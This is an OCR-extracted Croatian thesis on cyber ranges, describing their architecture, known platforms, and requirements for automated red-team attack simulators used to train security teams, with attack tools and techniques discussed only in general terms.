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1. Uvod

Moderni informacijski sustavi podloZni su napadima putem kibernetickog prostora te
su tvrtke svjesne te prijetnje. Kako bi se tvrtke pripremile za te prijetnje, izmedu osta-
log, potrebno je i trenirati ljude koji odrzavaju takve sustave, kako bi bili kompetentni
prepoznati napade i ukloniti ih na odgovarajuéi nacin. Treniranje ljudi za tu zadacu od

pocetka nailazi na dvije prepreke, odnosno ogranicenja:

— racunalni napadi se ne dogadaju Cesto

— vjezbe na produkcijskoj okolini joj mogu nastetiti.
Zbog toga Sto racunalni napadi na jedan sustav nisu precesti, stru¢njaci zaduzeni za za-
Stitu tih sustava moraju koristiti vjezbe kako bi stekli iskustvo i1 vjeStine. S druge strane,
nije pametno te vjeZbe osmisliti 1 izvoditi na Zivom sustavu koji Stite. RaCunalni napadi
mogu naStetiti cjelovitosti podataka, ili sruSiti komponente sustava, §to moZe naStetiti
poslovanju tvrtke koja koristi te sustave. Zbog toga nije dobra ideja vjezbe izvoditi na
produkcijskoj okolini, odnosno u konacnici nema razlike izmedu napada koji je pokre-
nuo zloudni vanjski napadac i napada koji su pokrenuli stru¢njaci za informacijsku
sigurnost u svrhu treninga. Navedena dva ograni¢enja mogu se rijesiti koriStenjem si-
mulirane okoline za provodenje vjezbi, odnosno koriStenjem kiberneti¢kim poligona.
Za izvodenje vjezbi na kibernetickom poligonu potrebno je ugraditi i realne scenarije
racunalnih napada. Te napade mogu izvesti vrhunski stru¢njaci za ofenzivnu sigurnost,
tzv. "bijeli hakeri" (engl. white-hat hacker), ali njihove usluge mogu biti skupe [20]
[25]. Druga moguénost je razvoj alata za automatizirano izvodenje racunalnih napada.
Ovaj rad obradit e postojece simulatore racunalnih napada otvorenog koda.

Rad je strukturiran na sljedeci nacin. Drugo poglavlje predstavlja i objasnjava po-
jam kiberentickog poligona. Trece poglavlje analizira problematiku simulacije racu-
nalnih napada u kiberneti¢kim poligonima. Cetvrto poglavlje obraduje razvoj scena-
rija automatiziranog racunalnog napada koriStenjem Metasploit radnog okvira, a 5.
poglavlje daje zakljuCak ovog rada. Dodatak A sadrzi skripte napisane programskim

jezikom Cortana, koje su koriStene za razvoj scenarija raCunalnog napada. Dodatak B



sadrZi opSirne ispise koji prikazuju pokretanje razvijenih skripti i okruZenja u kojem
se one pokrecu. Dodaci C i D prikazuju proces instalacije Linux i Windows virtualnih

posluZzitelja.



2. Kiberneticki poligon

Kiberneticki poligon (engl. Cyber range) je virtualno okruZenje koje ima zadacu si-
mulirati neku racunalnu okolinu te raCunalni napad na istu. Pocetak razvoja kiber-
netickih poligona smatra se National Cyber Range inicijativa ¢iji je logo prikazan na
slici 2.1, koju je pokrenula agencija Defense Advanced Research Projects Agency pod
okriljenm ministarstva obrane (engl. Department of Defense) Sjedinjenih Americkih
Drzava 2008. godine. Danas kiberneticke poligone razvijaju ne samo drZave, nego i
privatne tvrtke koje poligon prodaju kao proizvod, o kojima Ce vise rijeci biti kasnije u
potpoglavlju 2.2. Ovakva okolina se moZe koristiti u nekoliko svrha:

— obuka i uvjezbanje odjela za informacijsku sigurnost neke organizacije

— obuka i uvjezbavanje djelatnika sigurnosnog operacijskog centra (engl. Security

Operations Centre, SOC)

— razvoj novih sigurnosnih tehnologija i njihovo testiranje, npr. antivirusa, sus-
tava za otkrivanje/sprjeCavanje upada (engl. Intrusion Detection/Prevention Sys-

tem), sigurnosnih stijena (engl. firewall) itd.

Slika 2.1: Logo Nation Cyber Range-a

Obuka odjela ili ekipe za informacijsku sigurnost neke organizacije moze predstavljati

sloZen problem. Naime, nije dovoljno samo sakupiti znanja potrebna za stvaranje 1



odrZavanje infrastrukture informacijske sigurnosti kroz postavljanja i konfiguracije si-
gurnosnih uredaja i programske podrske (engl. software), potrebno je i kontinuirano

usavrSavanje starog znanja i stjecanje novih znanja. Nova znanja mogu biti:

— novi sigurnosni proizvod ili usluga

— proucavanje novootkrivenih vektora napada, odnosno iskoriStavanja tzv. "0-day

ranjivosti"

— poznavanje novih raCunalnih tehnologija

Integracija novih sigurnosnih proizvoda ili usluga je vazna zato Sto inZenjeri infor-
macijske sigurnosti moraju imati infrastrukturu na kojoj mogu testirati navedene pro-
izvode ili usluge, ispitivati razlic¢ite konfiguracijske postavke te vidjeti kako se no-
vododana komponenta ponasa u kontektstu cijelog sustava. Kontinuirano proucavanje
novootkrivenih tehnika napada omogucuje bolju pripremljenost inZenjera informaticke
sigurnosti zato $to tada mogu podesiti sustave obrane i primijetiti, zaustaviti ili u pot-
punosti sprijeciti raCunalni napad koriStenjem aktualnih ranjivosti. Kako bi u tome
bili uspjesni, moraju dobro poznavati modus operandi napada od kojeg se pokuSavaju
obraniti, te moraju moci identificirati indikatore proboja za taj napad [52].

Indikator proboja (engl. Indicator of Compromise, 10C) je bilo kakav forenzicki
artefakt ili trag racunalnog proboja (engl. intrusion) koji se moZe otkriti na nekom
racunalu ili raCunalnoj mrezi. Indikatori proboja omogucuju sigurnosnom analiti¢aru
(engl. security analyst) rekonstrukciju racunalnog napada.

Kao primjer potrebe proucavanja indikatora proboja navest ¢e se relativno svjeza
ranjivost CVE-2019-19781 [10]. Navedena ranjivost otkrivena je u sljede¢im proizvo-
dima:

— Citrix Application Delivery Controller

— Citrix Gateway 10.5, 11.1, 12.0, 12.11 13.0

Konkretno, navedena ranjivost dopusta prolazak direktorijima (engl. directory traver-
sal) 1 pisanje na danim putanjama, ¢ime je moguce ostvariti udaljeno izvodenje pro-
gramskog koda (engl. remote code execution, RCE). Primjer nacrta iskoriStavanja ra-
njivosti (engl. proof-of-concept exploit, POC exploit) je Project Zero India [59]. PZI
koristi ranjivost CVE-2019-19781 u /vpn/ poddirektoriju posluZitelja za ostvarivanje
udaljenog izvodenja programskog koda. KoriStenjem spomenutog nacrta i kreiranja
okoline pogodne za napad u kibernetiCkom poligonu, moZe se pratiti tijek izvodenja
napada i biljeziti koje sve tragove, a time i indikatore proboja, Project Zero India os-
tavlja za sobom. Zahvaljujuci prikupljenim tragovima, sada sigurnosni inZenjer moZze

pripremiti, testirati i ugraditi u sustav koji Stiti sve potrebne sigurnosne mehanizme 1
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procese u svrhu sprijeCavanja iskoriStavanja ranjivosti CVE-2019-19781 metodom PZI,
dok izdavac opreme Citrix ne izda sigurnosnu zakrpu za tu ranjivost. Takoder, novoim-
plementirani sigurnosni mehanizmi bi mogli biti korisni otkrivanju drukcijih metoda
iskoriStavanja ranjivosti CVE-2019-19781. Ovim postupkom organizacija koja koristi
kiberneticki poligon Cini sve da minimizira potencijalnu Stetu nezakrpane ranjivosti u
sustavima koje koristi [61].

Poznavanje modusa operandi 1 indikatora proboja napada koriStenjem tzv. "O-
day" ranjivosti omogucuje sigurnosnom inZenjeru oblikovanje obrambenih mehani-
zama koji ¢e u najmanju ruku ublaZiti posljedice tog napada. Kiberneticki poligon se
¢ini kao potencijalno rjeSenje, zato Sto omogucuje kontroliranu okolinnu koja se moze
lako motriti 1 analizirati djelovanje nekog napada u svrhu opisanu iznad.

Sigurnosni operacijski centar je drugi entitet koji ima potencijalno veliku korist
od koriStenja kiberneti¢kog poligona. Sigurnosni operacijski centar (engl. Security
Operations Center, SOC) je jedinica informacijske sigurnosti koja je odgovorna za
kontinuirani nadzor i analizu informacijske sigurnosti neke organizacije [31]. Ciljevi
SOC-a su detekcija, analiza 1 reakcija na incidente raCunalne sigurnosti, koriStenjem
sigurnosnih rjeSenja i strogo definiranim procedurama djelovanja. Kako bi SOC bio
ucinkovit u obavljanju svojih zadaca, potrebno je definirati spomenute procedure, do-
bro ih testirati 1 uvjezbati, ali 1 ostaviti prostor za daljnje nadogradnje i fleksibilne
izmjene. Kiberneticki poligon se namece kao dobro rjeSenje, zato $to je njime mo-
guce potpuno simulirati okolinu s kojom SOC radi, te predstavlja dobar poligon za

uvjezbavanje kreiranih procedura i testiranje novih potencijalnih procesa.

2.1. Arhitektura kibernetickog poligona

Funkcionalni kiberneticki poligon mora imati sljede¢e komponente:

— virtualnu mreZu na kojoj se izvodi vjezba kibernetiC¢kog poligona
— (virtualizirani) sigurnosni operacijski centar

— (virtualizirani) napadac/i

— generator prometa

— kontrolni centar

Sve iznad navedene komponente prikazane su shematski na slici 2.2.

Slika 2.2 prikazuje primjer arhitekture kibernetickog poligona. Na slici se jasno

vide sve komponente kibernetickog poligona. Virtualna mreza predstavlja simuliranu
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Slika 2.2: Arhitektura kibernetickog poligona [37]

okolinu koju vjezbenici poligona trebaju Stititi u stvarnom Zivotu. U virtualnoj mrezi

se nalaze:

Osobna ili prijenosna racunala: racunala zaposlenika

Mobilni uredaji: mobiteli, tableti, pametni satovi

Posluzitelji: baza podataka, DNS ili Web posluZitelji prema korisnicima

MreZna oprema: komutatori (engl. switch), usmjeritelji (engl. router), obnavljaci (engl. hub),

beZi¢ne pristupne tocke (engl. wireless access point)

Sigurnosni uredaji i programska podrska:

— sigurnosna stijena (engl. firewall, FW)

— upravitelj optereCenjem (engl. load-balancer)

— sigurnosna stijena za web aplikacije (engl. web application firewall, WAF)

— antivirusna rjesenja

— rjeSenja za zaStitu razliCitih usluga, npr. zastita elektronicke poste, pjes-
¢anici za analizu privitaka elektronicke poste i dijeljenih datoteka (engl. san-
dbox)

— posrednici za dolazni mreZni promet (engl. proxy) i odlazni mreZni pro-

met (engl. reverse-proxy).



Sigurnosni operacijski centar, poznat i kao plavi tim (engl. blue team), sastoji se od
¢lanova SOC-a i od programa za upravljanje sigurnosnim komponentama virtualne
mreze, npr. upravljaCkim konzolama (engl. dashboard) raspodijeljenih sigurnosnih
rjeSenja poput antivirusa. Clanovi SOC-a koriste svoja znanja i alate kako bi razotkrili
zlo¢udno ponaSanje i prikladno reagirali na nj.

Napadac, poznat i kao crveni tim (engl. red team), ima za cilj kompromitirati, od-
nosno preuzeti kontrolu nad virtualnom mrezom. Ako crveni tim tvore jedan ili viSe
osoba, tada koriste svoja stru¢na znanja, alate i specificiranu metodologiju provodenja
penetracijskih testova. S druge strane, crveni tim moZe biti potpuno virtualiziran, tj.
postupak napada na virtualnu mreZu moZe biti unaprijed pripremljen scenarij, kojim
upravlja kontrolni centar ili kompetentni stru¢njak za postupke crvenog tima. O zahtje-
vima na crveni tim i njthovim mogucnostima bit e viSe rijeci u narednim poglavljima.

Generator prometa (engl. traffic generator), ili generator Suma (engl. noise gene-
rator) je vitalna komponenta kibernetickog poligona. Bez njega, naime, plavi tim bi
1mao vrlo jednostavan zadatak u obrani virtualne mreZe zato Sto bi se sav promet unu-
tar mreZe mogao bez sumnje pripisati crvenom timu. Ova Cinjenica postaje problem
ne samo zato Sto plavi tim moZe brzo blokirati sve pokuSaje proboja bez diskrimina-
cije prometa, nego i zato Sto tada testiranje procedura i pravila sigurnosnih kompo-
nenti postaje manjkavo. Postaje manjkavo jer ne postoji moguénost laZnih pozitiva
(engl. false positive), nego se eventualno moze javiti pokoji lazni negativ (engl. false
negative), samo zato $to plavi tim sa sigurnos$¢u zna da je sav promet zlo¢udan. Ovaj
problem se rjeSava upravo generatorom prometa. Generator prometa unosi u mrezu

"legitiman promet", poput:

bezazlenog pretraZivanja "Interneta"

slanje i pristizanje benignih poruka elektroni¢ke poste

legitimna komunikacija izmedu udaljenih procesa, raCunala i mreZne opreme

"iznenadna" greska u radu sigurnosnih komponenti i/ili drugih dijelova virtu-

alne mreze

Sada, kada unutar mrezZe kola i bezazlen promet, plavi tim mora mo¢i razlikovati zlo-
¢udni promet u Sumu, a sigurnosne politike i postavke sigurnosnih komponenti ne
smiju kociti normalan tok legitimnog prometa koji generira generator prometa.
Kontrolni centar kibernetickog poligona moze sluZiti za nadzor rada drugih kom-
ponenti, npr. razina uporabe generatora Suma, vremenski okvir rada virtualiziranog

napadaca, u slucaju da na poligonu nema stru¢njaka za racunalne napade.



2.2. Poznati kiberneticki poligoni

Ovo potpoglavlje ukratko ¢e predstaviti dva poznata kiberneticka poligona, odnosno
platformu za izgradnju vlastitog kibernetickog poligona: National Cyber Range i AWS
Cyber Range.

2.2.1. National Cyber Range

National Cyber Range, NCR je kiberneticki poligon kratko spomenut na pocetku ovog
poglavlja, koji je resurs agencije Defense Advanced Research Projects Agency, DARPA,
podagencije ministarstva obrane Sjedinjenih Americkih DrZava (engl. Department of
Defense), a sad je pod kontrolom institucije Test Resource Management Center, TRMC.
Kao projekt, NCR je pokrenut 2008. kao inicijativa, a od 2013. godine je aktivan
pod TRMC. NCR je virtualizirano okruZenje koje predstavlja kompleksnu komunika-
cijsku mrezu DoD-a, te moZe realistino prikazati tijek izvodenja raCunalnih napada
na mreznu infrastrukturu DoD-a. NCR se koristio kao okruzenje za kiberneticka is-
pitivanja 1 evaluacije za programe Major Automated Aquisition Programs, MDAP 1
Major Automated Information System, MAIS. Nakon §to je DoD donio novu akvizicij-
ske politiku (engl. aquisition policy) 5000.02, NCR dobiva na vaznosti i pred njega se

postavljaju dva nova vazna zahtjeva u kontekstu naprednih testiranja sigurnosti:
— penetracijsko testiranje resursa prilagodeno prijetnjama, u svrhu emulacije pri-
jetne neprijateljskog proboja programskih informacijskih sustava u operacijskoj

okolini

— razvoj strategije i rezervacija sredstava za testiranje raCunalne sigurnosti; Pro-
gram testiranja e, u §to vecoj mjeri, ukljucivati aktivnosti za testiranje i pro-
cjenu sustava u ciljanoj okolini unutar reprezentativnih kapaciteta racunalnih

prijetnji

2.2.2. AWS Cyber Range

AWS Cyber Range je prva platforma za izgradnju kibernetickog poligona otvorenog
koda. Platforma pruZza radni okvir (engl. framework) za izgradnju laboratorijskog okru-
Zenja za izvodenje vjezbi kibernetickog poligona koriStenjem AWS oblaka. Platforma
sadrZi ranjive sustave 1 mocan skup alata (engl. foolkit) za penetracijska testiranja.
Prema navodu razvojnog tima, cijelu infrastrukturu je moguée podici u 5 minuta.
Slika 2.3 prikazuje primjer arhitekture kibernetickog poligona izgradenog koriste-

njem AWS Cyber Range platforme. U kiberneticki poligon je moguce ugraditi:
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Slika 2.3: Primjer arhitekture kibernetickog poligona stvorenog pomocu AWS Cyber Range

platforme

ranjivi virtualni strojevi otvorenog koda

virtualni strojevi za raCunalne napade: Kali Linux i Commando VM [41]

Inspec, alat za nadziranje poligona

virtualni sigurnosni proizvodi

virtualni strojevi za upravljanje sigurnosnim proizvodima



3. Simulacija napada

U prethodnom poglavlju predstavljen je koncept kiberentickog poligona. Opisane su
uloge i funkcionalnosti svih komponenti poligona osim jedne: crvenog tima. Ovo
poglavlje posvecuje posebnu paznju svojstvima crvenog tima, konceptima i metodolo-
gijama kojima crveni tim podlijeZe i zahtjevima koje kiberneticki poligon stavlja pred
crveni tim. Takoder ovo poglavlje analizirat ¢e probleme i1 prepreke u automatizaciji

racunalnog napada za izvodenje vjezbi na kibernetickom poligonu.

3.1. Svojstva crvenog tima

Crveni tim moZe biti sastavljen od jedne ili viSe osoba, stru¢njaka za informacijsku si-
gurnost, poZeljno specijaliziranih za napadacki segment informacijske sigurnosti. Cr-
veni tim sadrZi stru¢njake koji poznaju i vjesto barataju tehnikama racunalnog napada
1 alatima koji se koriste za implementaciju navedenih tehnika, obavjeStajne analitiCare,
programere itd. Tehnike izvodenja racunalnog napada, otkrivanja informacija o Zrtvi
i tehnike iskoriStavanja probijenog sustava formiraju metodologiju izvodenja etickog
racunalnog napada (engl. ethical hacking), koji se jo$ naziva i penetracijsko testiranje
(engl. penetration testing).

Poznata skupina metodologija penetracijskog testiranja je OWASP [54]. Open Web
Application Security Project je neprofitna udruga koja promice i razvija sigurnost pro-
gramske podrSke. Njihov rad ocituje se u razvoju programske podrske, npr. OWASP
Zed Attack Proxy, ZAP [19]; donoSenju dokumenata za verifikaciju sigurnosti program-
ske podrske, izradi metodologije testiranje sigurnosti programske podrSke; edukaciji
stru¢njaka u podrucju sigurnosti programske podrske.

Kao $to je ranije spomenuto, crveni tim ima na raspolaganju mnoStvo alata. Vrste

alata koje koristi mogu se smjestiti u mnogo kategorija, npr.:

— skeneri - nmap, nikto, whatweb, dirbuster

— napadacki orijentirani web posrednici (engl. attack web-proxy) - Burp Suite,
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OWASP ZAP
— napadacki okviri - Metasploit Framework, BeEF, PowerSploit, Frida
— naza metoda iskoriStavanja (engl. exploit) - Exploit Database

— alati za razbijanje saZetaka i zaporki - John the Ripper, Hashcat, THC-Hydra,

crowbar

— alati za reverzno inZenjerstvo - radare2, gdb, IDA

Zahvaljujuci razvoju specijaliziranih radnih okvira za napad neki postupci, odnosno
tehnike napada, mogu se izvoditi viSe ili manje automatizirano, ¢ime se Stedi vrijeme i
¢ini cijeli test u¢inkovitijim.

Prilikom testa sigurnosti bilo kakvog sustava, bez obzira radi li se o racunalnoj
mreZi, web aplikaciji, web usluzi ili mobilnoj aplikaciji, crveni tim podlijeZe pravi-
lima i ograni¢enjima, koja se dogovaraju s naruciteljem usluge. Moguce je ograniCiti
koriStenje specificnih tehnika napada, npr. uskracivanje usluge (engl. Denial of Ser-
vice), zbog specifiénosti okoline koja se testira. Takva ograni¢enja se primjenjuju ako
se napada produkcijska okolina, zato Sto invazivnije tehnike napada mogu ozbiljno na-
rusiti raspoloZivost sustava, Sto Cesto predstavlja problem za narucitelja usluga. Drugi
primjer zaSto bi se ograniCio opseg testiranja je ograni¢avanje ili potpuno uklanjanje
faze podizanja razine ovlasti (engl. privilege escalation) nakon stjecanja neovlastenog
pristupa sustavu, npr. preko inverzne ljuske (engl. reverse shell) [1]. Prilikom faze po-
dizanja razine ovlasti, napadac koristi programe 1 alate koji su mu dostupni na racunalu
Zrtve kako bi sakupljao informacije u sustavu. Dodatno, napada¢ na sustav Zrtve ins-
talira dodatne alate i programe, npr. Mimikatz [44] na Windows racunalu ili LinEnum
[60] na Linux racunalu. Alati i programi preuzeti izvana pomazu napadacu pronaci
slabe tocke unutar sustava koje bi mu omogucile preuzimanje potpune kontrole nad
tim sustavom i otvorile moguénost za lateralno Sirenje unutar mreze. Ti alati mogu biti
iznimno agresivni, mogu narusiti cjelovitost sustava i ostaviti tragove djelovanja koje
moze biti teSko pronadi i pocistiti.

U kontekstu kibernetickog poligona, crveni tim dogovara doseg (engl. scope) testi-
ranja s kontrolnim centrom, odnosno upraviteljima poligona i vjeZbi na njemu. Odre-
duje se koje metode napada Ce se koristiti, razina agresivnosti testiranja, tj. koliko
"duboko" crveni tim moze pokusati u¢i unutar sustava, te koliko paznje trebaju obratiti
na skrivanje svojih aktivnosti od plavog tima. Parametri ovog dogovora su posebno
vazni ako se dio napada, ako ne i cijeli crveni tim, simulira, odnosno programski se
automatizira koriStenje alata i tehnika. Svojstva, zahtjevi i problemi simuliranog crve-

nog tima bit ¢e analizirano u potpoglavljima koja slijede.
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3.2. Zahtjevi na automatizirani crveni tim

Prije izgradnje programske podrske za automatizirano izvodenje aktivnosti crvenog
tima, treba razmotriti kriterije i zahtjeve koje ta programska podrska mora zadovoljiti.
Ti zahtjevi osiguravaju stabilnost, predvidljivost, lakSe rukovanje simuliranim napa-
dacem i uCinkovitije izvodenje vjezbi na kibernetiCkom poligonu. Dijagram zahtjeva

prikazan je na slici 3.1.

Criteria
I
Functionality Operation
Scenano Scenaro :
CIperaroes Aavira
definition execution perare: Environment
St E # e .
Addmg new ‘HIJPI.H" - Required 05
rocedures attack mid PRERD, compatiality
P = rui-time expenise P )
] o - . g 1 -
Procedures Cleanup s Changes in the
configuration SECUTIY array
Multi-
procedure Logs Intecfaces Prerequisites
attacks
TTT coverage

Slika 3.1: Dijagram hijerarhije zahtjeva [32]

Slika 3.1 prikazuje hijerarhiju zahtjeva prema [32]. Kriterije se dijeli u dvije os-
novne skupine: funkcionalnost (engl. Funcionality) i operabilnost (engl. Operation)
[32]. Ovaj rad analizirat e kriterije prema sljede¢im skupinama, koje su razinu ispod
dvaju prethodno navedenih:

— uskladivost s testiranom okolinom (engl. Environment)
— moguénost definiranja scenarija napada (engl. Scenario definition)
— izvodivost scenarija napada (engl. Scenario execution)

— upravljanje simulatorom napada (engl. Operators)

3.2.1. Uskladivost s testiranom okolinom

Kriteriji uskladivosti s testiranom okolinom pokazuju koliko je simulator napada kom-

patibilan sa sustavima na poligonu. Kriteriji uskladivosti se mogu podijeliti na tri
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segmenta koji ¢e biti detaljnije opisani u nastavku: kompatibilnost s operacijskim sus-
tavima racunala i uredaja u poligonu, koli¢ina promjena sigurnosnog perimetra u poli-

gonu 1 posebni preduvijeti potrebni za ispravan rad simulatora.

Kompatibilnost s operacijskim sustavima

Kompatibilnost s operacijskim sustavima racunala i uredaja u poligonu govori kako
simulator radi u okruZenju s razli¢itim operacijskim sustavima. U poligonu se mogu
nalaziti Windows ili Linux racunala i posluzitelji, MacOS racunala, Android ili i0S
mobilni uredaji, pa cak i uredaji Interneta stvari (engl. Internet of Things, lIoT). kvali-
tetan simulator, odnosno alat bi trebao biti opremljen za rad sa Sto viSe, ako ne i svim

operacijskim sustavima smjeStenih unutar kiberneti¢kog poligona.

Koli¢ina potrebnih izmjena sigurnosnog perimetra poligona

Kiriterij koli¢ine promjena sigurnosnog perimetra poligona govori o tome koliko se
mora ublaZziti sigurnosna struktura poligona kako bi simulator mogao raditi. Sljedeci
primjeri ¢e pojasniti o ¢emu se radi. Primjerice, teSko je provjeriti sigurnost javno
dostupnih web usluga, ako sigurnosna stijena blokira sav promet koji je iole zlocudne
prirode, poput skeniranja portova, testiranja na specificne ranjivosti itd. U tom slu-
¢aju, bududi da se Zeli testirati web usluga i sve komponente koje stoje iza te usluge,
potrebno je iskljuciti sigurnosnu stijenu iz mreZe ili dodati konfiguracije koje ¢e pro-
pustiti takav mrezni promet.

Drugi primjer se dotice antivirusnog rjeSenja. Neka je cilj vjezbe testirati reak-
ciju plavog tima na scenarij u kojemu se napadac Zeli dalje lateralno Siriti kroz mrezu
s jednog kompromitiranog racunala. U sklopu prikupljanja informacija sa zaraZenog
racunala napadac koristi alate koji mogu potaknuti reakciju antivirusa, ¢ime vjezba
zavrSava, tj. napadaC je onemogucen na samom zacetku vjezbe. Na prvi pogled je
ovo moZzda dobra povratna informacija, odnosno moglo bi se zakljuciti da je mreza
sigurna. Ako se takav rezultat vjezbe pogleda iz perspektive mantre defense in depth
[12], izvodaci vjezbe ovdje ne smiju stati s testiranjem, zato Sto se namecu sljedeca
pitanja: Sto ako napada¢ uspije iskljuéiti antivirus? Sto ako se razvije novi alat koji
trenutne implementacije antivirusa ne mogu otkriti? U ovoj situaciji na ova pitanja
nema odgovora. Zato je dobro izvesti istu vjezbu, odnosno scenarij, izvesti bez sigur-
nosne komponente antivirusa. Sada je moguce u scenarij ukljuciti alat koji je pocetno
blokiran antivirusom.

S druge strane, simulator ¢iji je ispravan rad uvjetovan iskljuc¢ivanjem pojedinih
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sigurnosnih komponenti moZda i nije najbolji izbor za koriStenje u raznovrsnim okru-
Zenjima. To je zato Sto tada prije svake vjezbe treba provjeriti koja ogranicenja postoje
u poligonu za taj simulator, Sto usporava tijek izvodenja vjezbe 1 zahtijeva rekonfigu-

racije poligona i smanjuje ucinkovitost poligona.

Posebni preduvjeti za ispravan rad simulatora

Posebni preduvjeti za ispravan rad simulatora su zapravo mjera koliko je simulator
prenosiv, odnosno koliko ovisi o okolini u kojoj se izvrSava. Posebni preduvjeti se

mogu svrstati u dvije kategorije:

— raCunalo s kojeg se simulator pokre¢e mora imati instalirane specificne pro-

gramske knjiZice, koje sam simulator ne posjeduje
— simulator se mora pokrenuti s posebnim razinama ovlasti

Simulator koji bi se koristio u kiberneticCkom poligonu bi morao biti $to viSe nezavistan
o okolini i kontekstu u kojem se izvodi. Takav simulator se jednostavnije ugraduje u
okolinu, te ga je lako zamijeniti drugim zato Sto tada nije potrebno pocistiti koristeni

sustav od koristenih programskih knjiZica ili paketa trece strane.

3.2.2. Mogucnost definiranja scenarija napada

Ova skupina kriterija bavi se mogucnostima koje simulator pruZza, a ticu se definiranja

scenarija napada. Promatraju se Cetiri kriterija koji se detaljnije objaSnjeni u nastavku:
1. moguénost stvaranja vlastitih scenarija
2. konfigurabilnost scenarija
3. moguénost povezivanja scenarija

4. pokrivenost tehnika napada

Mogucnost stvaranja vlastitih scenarija

Mogucénost stvaranja vlastitih scenarija je funkcionalnost simulatora koja pruZa mo-
guénost da se u njega ugrade nove tehnike i novi scenarija. PodrSka ove funkcional-

nosti je vazan dio simulatora zato $to napadaci evoluiraju kroz vrijeme:
— otkrivaju se novi ranjivosti u postoje¢im tehnologijama

— nastaju nove tehnologije koje sa sobom nose nove vrste ranjivosti
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Kako bi sigurnosni inZenjeri ostali u toku s novim tehnikama napada, moraju mo¢i
upoznati te tehnike napada i testirati svoje sigurnosne mehanizme protiv istih. U kon-
tekstu kiberneti¢kog poligona, poZeljno je da koriSteni simulator napada pruza mogu¢-
nost ugradnje novih scenarija, ¢ime se stjeCe moguénost izvodenja vjezbi sa svjezim,
relevantnim primjerima napada.

Nastanak novih vrsta ranjivosti prati razvoj novih tehnologija. Kao primjer takve
prakse, moZe se navesti razvoj i rast popularnosti uredaja Interneta stvari (engl. Internet
of Things, IoT). Razvoj IoT tehnologija uveo je nove vrste ranjivosti. Slijedi OWASP
lista 10 najces¢ih ranjivosti IoT tehnologija iz 2018. godine [55].

1. Slabe, ukodirane (engl. hardcoded) ili lako pogodive zaporke
2. Nesigurne mrezne usluge
3. Nesigurna sucelja ekosustava
4. Nedostatak sigurnih mehanizama aZuriranja i nadogradnje
5. KoriStenje nesigurnih ili zastarjelih komponenti
6. Nedovoljna zaStita privatnosti
7. Nesiguran prijenos i pohrana podataka
8. Nedostatno upravljanje uredajima
9. Nesigurne pretpostavljene postavke
10. Nedostatak fizickog osiguranja

Neke od iznad navedenih ranjivosti na slici se mogu usporediti s ve¢ postojecim vr-

stama ranjivosti na drugim platformama. Ovdje vrijedi spomenuti sljedece ranjivosti:

— I7- Nesiguran prijenos i pohrana podataka, ranjivost pristuna i kod mobilnih
aplikacija [56]

— I9- Nesigurne pretpostavljene postavke (engl. default settings), prisutna u

web aplikacijama ili drugim mreZnim uslugama

OWASP lista takoder sadrZi nekoliko vrsta ranjivosti koje su specificne za IoT svijet.
Najzanimljivija "nova" ranjivost ovdje bi bila pod brojem 10: nedostatak fizickog osi-
guranja. Ova ranjivost je vrlo specificna za loT svijet, te kao takva treba naci svoje
mjesto u vjezbama kibernetickog poligona koje bi ukljucivale IoT komponente sus-

tava. Mogucnost dodavanja novih scenarija napada u simulator omogucuje ispitivanja
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sposobnosti obrane da se obrane od ovako specifi¢nih ranjivosti koje mozda nisu pos-

tojale kada je simulator inicijalno razvijen.

Konfigurabilnost scenarija

Mogucnost stvaranja novih procedura je uvijek dobra funkcionalnost simulatora, ali
sama za sebe, ta funkcionalnost moZe imati problema sa skaliranjem. Zato je iz-
nimno vazna mogucnost konfiguracije scenarija. Neka se u poligonu izvodi vjezba
gdje se testira otpornost sustava na razli¢ite varijacije napada ubrizgavanjem program-
skog koda. Napad ubrizgavanjem programskog koda (engl. code injection) je ranji-
vost koja se pojavljuje kada se korisni¢ki unos ne prociscuje (engl. input sanitation)
ispravno. Napada¢ moZe predati zlocudan unos predati programu, Sto ¢e rezultirati
nepredvidljivim ponaSanjem aplikacije, odnosno napada¢ moZe promijeniti tok izvo-
denja programa u svoju korist. Najpoznatiji tip napada ubrizgavanjem je ubrizgavanje
SQL upita (engl. SQL injection). Predajom specificnog unosa, napada¢ moZze upravljati
SQL upitima koji se u stvarnosti $alju bazi podataka. Ovisno o konfiguraciji napadnute

aplikacije i baze podataka, napada¢ moze ostvariti niz proboja:

— zaobilaZenje autentikacije (engl. authentication bypass)

— dohvat svih podataka u bazi podataka koju koristi napadnuta aplikacija (engl. da-
tabase dumping)

— pristup drugim bazama podataka koje se nalaze na istom posluZitelju
— ostvarivanje neovlaStenog pristupa posluzitelju baze podataka koriStenjem inverzne
ljuske (engl. reverse shell)

Kako bi vjezba bila kvalitetnije izvedena, poZeljno je da se u scenarij, koji koristi
tehniku ubrizgavanja SQL upita, moze konfigurirati parametre tog napada. Neki od

parametara su:

— URLI: ranjivi URI na kojem (moZda) postoji moguénost SQL ubrizgavanja

— Parametri: URI parametri, parametar tijela HTTP zahtjeva ili cak HTTP za-
glavlja koja se koriste za SQL ubrizgavanje

— Vrsta ubrizgavanja: vrsta zloCudnog korisni¢kog unosa koja se koristi za na-
pad SQL ubrizgavanjem

— Ciljani sadrzaj: cilj ubrizgavanja, npr. eksfiltracija podataka, napad uskradi-
vanja usluge, ili neovlaSteni udaljeni pristup inverznom ljuskom

Navedeni parametri omogucuju granuliranje napada i viSe kontrole nad napadom SQL

ubrizgavanjem, Sto demonstrira dobrobit visoke konfigurabilnosti scenarija napada.
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Glavna prednost tog svojstva je Sto Cini cijeli scenarij realnijim, a time i cijela vjezba
postaje djelotvornija u kontekstu uvjezbavanja plavog tima. Simulator omoguduje ni-
jansne promjene scenarija, Sto za posljedicu daje 1 bolju pripremljenost plavog tima.

Plavi tim sada ima detaljnije iskustvo s pojedinim napadom, odnosno scenarijem.

Mogucnost povezivanja scenarija

Treéi segment ove skupine kriterija je moguénost povezivanja viSe pojedinacnih sce-
narija u jedan sloZeni scenarij raCunalnog napada. Ova moguénost je iznimno vazna
za stvaranje realnih vjezbi. Sljedeéi primjer demonstrira vaznost ovog kriterija.

Klasic¢an penetracijski test sastoji se od 5 koraka, odnosno faza [63]:

1. prikupljanje informacija (engl. reconnaissance): skupljanje informacija o 7Zr-

tvi bez direktne interakcije s njom

2. skeniranje (engl. scanning): koristenje tehnickih alata za izvidanje tehnickih

detalja sustava Zrtve

3. stjecanje pristupa (engl. gaining access): koriStenje informacija iz prethodnih
dvaju faza kako bi se iskoristile pronadene ranjivosti i1 stekao neovlasSteni pristup

sustavu

4. zadrzavanje pristupa (engl. maintaining access): podizanje tabora za izvlace-

nje informacija ili zadrZavanje pristupa za daljnje zlo¢udne radnje

